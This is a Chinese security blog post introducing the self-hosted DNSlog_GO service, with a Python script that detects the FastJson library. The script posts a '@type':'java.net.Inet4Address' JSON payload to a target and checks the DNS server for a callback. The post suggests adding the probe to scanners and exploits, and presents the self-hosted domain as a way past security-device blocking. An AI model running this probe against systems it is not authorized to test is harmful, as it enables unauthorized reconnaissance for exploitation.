使用DNSlog_GO实现快速检测FastJson

admin 2020年10月22日18:37:43评论618 views字数 1339阅读4分27秒阅读模式

Dnslog_Go原本是为了配合我的Httphook项目的一个子项目,目的是为了配合hk实现各种盲漏洞的探测,但是后来看到目前github上的各种dnslog项目都需要,安装各种依赖,于是就把这个项目加了web界面然后开源出来了。


不了解的朋友,可以看我的这篇文章


十分钟快速自建DNSlog服务器


实际上dnslog主要还是为了配合各类脚本进行快速探测,web界面都是次要。

为了方便大家使用,和了解Dnslog的API,我写了一个很简单的FastJson的探测的脚本进行演示,各类注释也比较齐全。大家可以结合到自己写的扫描器,脚本,exp里面去。避免知道创宇等等平台的公共域名被安全设备拦截,而导致的漏报。


import requestsimport randomimport json
class DnsLog(): domain = "" token = "" Webserver = ""
def __init__(self,domain,Webserver,token): self.domain = domain #dnslog的根域名 self.Webserver = Webserver #dnslog的http监听地址,格式为 ip:端口 self.token = token #token #检测DNSLog服务器是否正常 try: res = requests.post("http://"+Webserver+"/api/verifyToken",json={"token":token}).json() except: exit("DnsLog 服务器连接失败") if res["Msg"] == "false": exit("DnsLog token 验证失败") #生成随机子域名 def randomSubDomain(self,length = 5): subDomain = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',length)) +'.'+ self.domain return subDomain
#验证子域名是否存在 def checkDomain(self,domain): res = requests.post("http://"+self.Webserver+"/api/verifyDns",json={"Query":domain},headers={"token":self.token}).json() if res["Msg"] == "false": return False else: return True
url = "http://192.168.41.2:8090/"

dns = DnsLog("test.com","1111:8888","admin")
subDomain = dns.randomSubDomain()
payload = { "b":{ "@type":"java.net.Inet4Address", "val":subDomain }}
requests.post(url,json=payload)
if dns.checkDomain(subDomain): print("存在FastJosn")


实现效果

使用DNSlog_GO实现快速检测FastJson


本文始发于微信公众号(漏洞推送):使用DNSlog_GO实现快速检测FastJson

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年10月22日18:37:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用DNSlog_GO实现快速检测FastJsonhttp://cn-sec.com/archives/166462.html

发表评论

匿名网友 填写信息